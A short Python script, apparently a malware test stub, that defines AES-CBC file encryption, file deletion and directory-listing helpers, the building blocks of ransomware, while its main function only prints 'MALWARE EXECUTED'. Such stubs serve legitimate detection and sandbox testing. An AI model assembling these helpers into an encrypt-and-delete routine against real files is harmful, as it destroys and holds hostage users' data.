#!/opt/tljh/user/bin/python

import os, random, struct
from Crypto.Cipher import AES

def encryptFile(key,filename):
    chunksize=64*1024
    outfilename=filename+".enc"
    iv=os.urandom(16)
    encryptor=AES.new(key, AES.MODE_CBC, iv)
    filesize=os.path.getsize(filename)

    with open(filename, 'rb') as infile:
        with open(outfilename, 'wb') as outfile:
            outfile.write(struct.pack('<Q', filesize))
            outfile.write(iv)

            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - len(chunk) % 16)
                outfile.write(encryptor.encrypt(chunk))

def deleteFile(fname):
    os.remove(fname)

def fileList(directory):
    rv=[]
    for fname in os.listdir(directory):
        rv.append(os.path.join(directory,fname))
    return rv

def main():
    print("MALWARE EXECUTED")

main()
